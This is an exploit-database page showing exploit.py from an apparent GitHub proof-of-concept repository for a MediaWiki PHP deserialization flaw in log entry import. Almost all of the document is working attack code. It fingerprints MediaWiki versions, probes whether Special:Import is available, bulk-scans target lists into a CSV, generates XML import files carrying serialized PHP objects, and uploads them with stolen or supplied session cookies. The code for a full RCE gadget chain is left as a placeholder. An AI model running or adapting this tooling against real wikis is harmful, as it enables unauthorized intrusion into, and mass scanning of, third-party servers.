Exploit database

GH-5141385aef6553614d2cf84c2dbb699d

shinthink/cve-2026-58025

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-58025

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files4
shinthink/cve-2026-58025Revision 819f88b525c7

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Suggested starting filePython · 15,329 bytes
#!/usr/bin/env python3
"""
CVE-2026-58025 — MediaWiki Deserialization of Untrusted Data
LogEntryBase::extractParams() → unserialize() user-controlled log_params

Vulnerability:
  - LogEntryBase::extractParams() called unserialize() without allowed_classes restriction
  - WikiImporter accepts XML imports with <params> containing PHP serialized payloads
  - When imported log entries are read back, unserialize() instantiates attacker objects
  - Gadget chains in vendor/extension classes can achieve RCE via __wakeup()/__destruct()

Affected: MediaWiki < 1.43.9, < 1.44.6, < 1.45.4, < 1.46.0
CVSS: 9.8 (AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H) — requires import right
CWE: CWE-502 (Deserialization of Untrusted Data), CWE-94 (Code Injection)

Fix: Commit 60f154d4618063ac4d5832285fc246b8fcd7c72c
  - unserialize() now uses allowed_classes restriction
  - New logentryimport permission (not granted by default)
  - containsUnsafeParams() check rejects entries with __PHP_Incomplete_Class
  - UnsafeLogFormatter safely displays existing malicious entries

Author: shinthink
Date: 2026-07-29
"""

import argparse
import sys
import os
import re
import random
import string
import xml.etree.ElementTree as ET
from datetime import datetime

try:
    import requests
    requests.packages.urllib3.disable_warnings()
except ImportError:
    requests = None

# ANSI colors
R = '\033[91m'
G = '\033[92m'
Y = '\033[93m'
B = '\033[94m'
W = '\033[0m'

BANNER = f"""
{R}  CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import{W}
{Y}  LogEntryBase::extractParams() → unserialize() user-controlled data{W}
{W}  CVSS 9.8 | CWE-502 | Requires import/importupload right
"""

# MediaWiki XML export format
MEDIAWIKI_XML_TEMPLATE = '''<?xml version="1.0" encoding="UTF-8"?>
<mediawiki xmlns="http://www.mediawiki.org/xml/export-0.11/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.mediawiki.org/xml/export-0.11/ http://www.mediawiki.org/xml/export-0.11.xsd" version="0.11" xml:lang="en">

<logitem>
\t<id>{log_id}</id>
\t<timestamp>{timestamp}</timestamp>
\t<contributor>
\t\t<username>{username}</username>
\t\t<id>{user_id}</id>
\t</contributor>
\t<comment>{comment}</comment>
\t<type>{log_type}</type>
\t<action>{log_action}</action>
\t<logtitle>{log_title}</logtitle>
\t<params>{params}</params>
</logitem>

</mediawiki>
'''

# Safe serialized params (plain array, no objects) — for testing
SAFE_PARAMS = 'a:1:{s:3:"foo";s:3:"bar";}'

# Serialized params with a stdClass object — triggers __PHP_Incomplete_Class
# after the fix (allowed_classes=false), demonstrates the vuln before fix
UNSAFE_PARAMS_STDCLASS = 'a:1:{s:3:"foo";O:8:"stdClass":0:{}}'

# Serialized params with a common gadget chain entry point
# This is a placeholder — real exploitation requires identifying
# available gadget chains in the target's vendor/extension classes
UNSAFE_PARAMS_GADGET = 'a:1:{s:3:"cmd";O:8:"stdClass":1:{s:3:"cmd";s:2:"id";}}'


def generate_malicious_xml(output_path, payload_type='detect'):
    """Generate a malicious MediaWiki XML import file with serialized payload in log params.

    Args:
        output_path: Where to save the XML file
        payload_type: 'detect' (stdClass probe), 'safe' (benign), or 'gadget' (placeholder)
    """
    payloads = {
        'safe': SAFE_PARAMS,
        'detect': UNSAFE_PARAMS_STDCLASS,
        'gadget': UNSAFE_PARAMS_GADGET,
    }

    params = payloads.get(payload_type, UNSAFE_PARAMS_STDCLASS)

    xml_content = MEDIAWIKI_XML_TEMPLATE.format(
        log_id=random.randint(1, 999999),
        timestamp=datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'),
        username='WikiImporter',
        user_id=random.randint(1, 99999),
        comment='CVE-2026-58025 PoC — deserialization test',
        log_type='test',
        log_action='test',
        log_title='CVE-2026-58025 Test Page',
        params=params,
    )

    with open(output_path, 'w', encoding='utf-8') as f:
        f.write(xml_content)

    return output_path


def fingerprint_mediawiki(url):
    """Detect MediaWiki instance and version."""
    print(f"{B}[*]{W} Fingerprinting {url}...")

    findings = {}

    # Check for MediaWiki via meta generator tag
    try:
        r = requests.get(url, timeout=10, verify=False,
                         headers={'User-Agent': 'Mozilla/5.0'})
        if r.status_code == 200:
            # Look for MediaWiki generator meta tag
            version_match = re.search(
                r'<meta name="generator" content="MediaWiki ([\d.]+)"',
                r.text
            )
            if version_match:
                version = version_match.group(1)
                findings['version'] = version
                print(f"  {G}[+]{W} MediaWiki detected (v{version})")

                # Check if vulnerable
                parts = [int(x) for x in version.split('.')]
                vulnerable = False
                if len(parts) >= 2:
                    major, minor = parts[0], parts[1]
                    patch = parts[2] if len(parts) > 2 else 0
                    if major == 1:
                        if minor == 43 and patch < 9:
                            vulnerable = True
                        elif minor == 44 and patch < 6:
                            vulnerable = True
                        elif minor == 45 and patch < 4:
                            vulnerable = True
                        elif minor >= 46:
                            vulnerable = False
                        elif minor < 43:
                            vulnerable = True

                if vulnerable:
                    print(f"  {G}[+]{W} VULNERABLE VERSION!")
                else:
                    print(f"  {Y}[!]{W} Patched or unknown version")
                findings['vulnerable'] = vulnerable
            elif 'mediawiki' in r.text.lower():
                print(f"  {G}[+]{W} MediaWiki detected (version unknown)")
                findings['version'] = 'unknown'
                findings['vulnerable'] = 'unknown'
            else:
                print(f"  {R}[-]{W} MediaWiki not detected")
                return findings
    except Exception as e:
        print(f"  {R}[-]{W} Error: {e}")
        return findings

    # Check Special:Import availability
    try:
        r = requests.get(f"{url}/wiki/Special:Import", timeout=10, verify=False,
                         headers={'User-Agent': 'Mozilla/5.0'})
        if r.status_code == 200 and ('import' in r.text.lower() or 'upload' in r.text.lower()):
            print(f"  {G}[+]{W} Special:Import is available")
            findings['import_available'] = True
        elif r.status_code == 302 or r.status_code == 301:
            print(f"  {Y}[~]{W} Special:Import redirected (may require auth)")
            findings['import_available'] = 'needs_auth'
        else:
            print(f"  {Y}[~]{W} Special:Import returned {r.status_code}")
            findings['import_available'] = False
    except Exception:
        pass

    # Check api.php for version info
    try:
        r = requests.get(f"{url}/api.php?action=query&meta=siteinfo&format=json",
                         timeout=10, verify=False,
                         headers={'User-Agent': 'Mozilla/5.0'})
        if r.status_code == 200:
            data = r.json()
            query = data.get('query', {})
            general = query.get('general', {})
            if 'generator' in general:
                gen = general['generator']
                print(f"  {G}[+]{W} API confirms: {gen}")
                findings['api_generator'] = gen
    except Exception:
        pass

    return findings


def attempt_import(url, xml_path, cookies=None):
    """Attempt to import malicious XML via Special:Import.

    Args:
        url: Target MediaWiki URL
        xml_path: Path to malicious XML file
        cookies: Session cookies string (e.g., "wiki_session=abc123")
    """
    if not os.path.exists(xml_path):
        print(f"{R}[-]{W} XML file not found: {xml_path}")
        return False

    import_url = f"{url}/wiki/Special:Import"

    # Parse cookies
    cookie_dict = {}
    if cookies:
        for part in cookies.split(';'):
            part = part.strip()
            if '=' in part:
                k, v = part.split('=', 1)
                cookie_dict[k.strip()] = v.strip()

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
    }

    # Read XML file
    with open(xml_path, 'rb') as f:
        xml_data = f.read()

    # Multipart form data for Special:Import
    files = {
        'xmlimportfile': ('payload.xml', xml_data, 'application/xml'),
    }

    data = {
        'action': 'submit',
        'source': 'file',
        'catname': '',
        'prefix': '',
        'loginComment': '',
    }

    print(f"\n{B}[*]{W} Uploading malicious XML to {import_url}...")

    try:
        r = requests.post(import_url, files=files, data=data,
                         headers=headers, cookies=cookie_dict,
                         timeout=30, verify=False, allow_redirects=False)

        print(f"  {B}[*]{W} Status: {r.status_code}")

        if r.status_code == 302:
            location = r.headers.get('Location', '')
            print(f"  {Y}[~]{W} Redirected to: {location}")
            if 'login' in location.lower():
                print(f"  {R}[-]{W} Authentication required — need valid session cookies")
                return False

        if r.status_code == 200:
            if 'import' in r.text.lower() and ('success' in r.text.lower() or 'completed' in r.text.lower()):
                print(f"  {G}[+]{W} Import may have succeeded!")
                return True
            elif 'permission' in r.text.lower() or 'denied' in r.text.lower():
                print(f"  {R}[-]{W} Permission denied — need import/importupload right")
                return False
            elif 'error' in r.text.lower():
                print(f"  {Y}[!]{W} Error response received")
                # Check for specific error
                error_match = re.search(r'<p class="error">(.*?)</p>', r.text, re.DOTALL)
                if error_match:
                    print(f"  {Y}[!]{W} Error: {error_match.group(1).strip()[:200]}")
                return False
            else:
                print(f"  {Y}[~]{W} Unclear response — check manually")

        return False

    except requests.RequestException as e:
        print(f"  {R}[-]{W} Request error: {e}")
        return False


def bulk_check(targets_file, output_file=None):
    """Bulk fingerprint multiple targets."""
    if not os.path.exists(targets_file):
        print(f"{R}[-]{W} Targets file not found: {targets_file}")
        return

    with open(targets_file) as f:
        targets = [line.strip() for line in f if line.strip() and not line.startswith('#')]

    results = []
    for target in targets:
        print(f"\n{'='*60}")
        findings = fingerprint_mediawiki(target)
        is_vuln = findings.get('vulnerable', False)
        version = findings.get('version', 'unknown')
        results.append({
            'url': target,
            'version': version,
            'vulnerable': is_vuln,
            'import_available': findings.get('import_available', False),
        })

    if output_file:
        with open(output_file, 'w') as f:
            f.write("URL,Version,Vulnerable,ImportAvailable\n")
            for r in results:
                f.write(f"{r['url']},{r['version']},{r['vulnerable']},{r['import_available']}\n")
        print(f"\n{G}[+]{W} Results saved to {output_file}")

    # Summary
    print(f"\n{'='*60}")
    print(f"{B}[*]{W} Summary:")
    vuln_count = sum(1 for r in results if r['vulnerable'] is True)
    print(f"  Total targets: {len(results)}")
    print(f"  Vulnerable: {vuln_count}")


def main():
    parser = argparse.ArgumentParser(
        description='CVE-2026-58025 — MediaWiki Deserialization RCE via Log Entry Import'
    )
    parser.add_argument('-u', '--url', help='Target MediaWiki URL')
    parser.add_argument('-c', '--cookies', help='Session cookies (e.g., "wiki_session=abc123; wikiUserID=1")')
    parser.add_argument('--check', action='store_true', help='Only fingerprint, do not exploit')
    parser.add_argument('--generate', action='store_true', help='Generate malicious XML payload')
    parser.add_argument('-o', '--output', default='payload.xml', help='Output file for XML payload or results')
    parser.add_argument('-p', '--payload', choices=['detect', 'safe', 'gadget'], default='detect',
                       help='Payload type: detect (stdClass probe), safe (benign), gadget (placeholder)')
    parser.add_argument('-f', '--file', help='Bulk targets file (one URL per line)')
    parser.add_argument('--timeout', type=int, default=15, help='Request timeout')

    args = parser.parse_args()

    print(BANNER)

    # Generate mode
    if args.generate:
        path = generate_malicious_xml(args.output, args.payload)
        print(f"{G}[+]{W} Malicious XML payload generated: {path}")
        print(f"{B}[*]{W} Payload type: {args.payload}")
        print(f"{B}[*]{W} Upload via Special:Import to trigger deserialization")
        if args.payload == 'detect':
            print(f"{B}[*]{W} This payload uses stdClass — will show as __PHP_Incomplete_Class on patched versions")
            print(f"{B}[*]{W} On vulnerable versions, the object will be fully instantiated")
        elif args.payload == 'gadget':
            print(f"{Y}[!]{W} Gadget payload is a placeholder — identify target-specific chains for RCE")
        return

    # Bulk mode
    if args.file:
        bulk_check(args.file, args.output if not args.generate else None)
        return

    # Single target mode
    if not args.url:
        parser.error('URL required (-u) unless using --generate or -f')

    url = args.url.rstrip('/')

    # Fingerprint
    findings = fingerprint_mediawiki(url)

    if args.check:
        return

    if not findings.get('vulnerable'):
        print(f"\n{Y}[!]{W} Target may not be vulnerable. Proceed with caution.")

    # Generate payload if not already done
    xml_path = args.output
    if not os.path.exists(xml_path):
        generate_malicious_xml(xml_path, args.payload)
        print(f"{G}[+]{W} Generated payload: {xml_path}")

    # Attempt import
    if not args.cookies:
        print(f"\n{Y}[!]{W} No cookies provided. Import requires authenticated session.")
        print(f"{B}[*]{W} Use -c to provide session cookies from an account with import rights.")
        print(f"{B}[*]{W} Payload file ready at: {xml_path}")
        print(f"{B}[*]{W} Upload manually via: {url}/wiki/Special:Import")
        return

    success = attempt_import(url, xml_path, args.cookies)

    if success:
        print(f"\n{G}[++++] IMPORT SUCCESSFUL [++++]{W}")
        print(f"{B}[*]{W} The malicious log entry has been imported.")
        print(f"{B}[*]{W} When the log entry is viewed, unserialize() will trigger.")
        print(f"{B}[*]{W} For RCE, identify a gadget chain in the target's installed extensions/vendor libraries.")
    else:
        print(f"\n{Y}[!]{W} Import failed. Check credentials and permissions.")
        print(f"{B}[*]{W} Manual upload: {url}/wiki/Special:Import")


if __name__ == '__main__':
    main()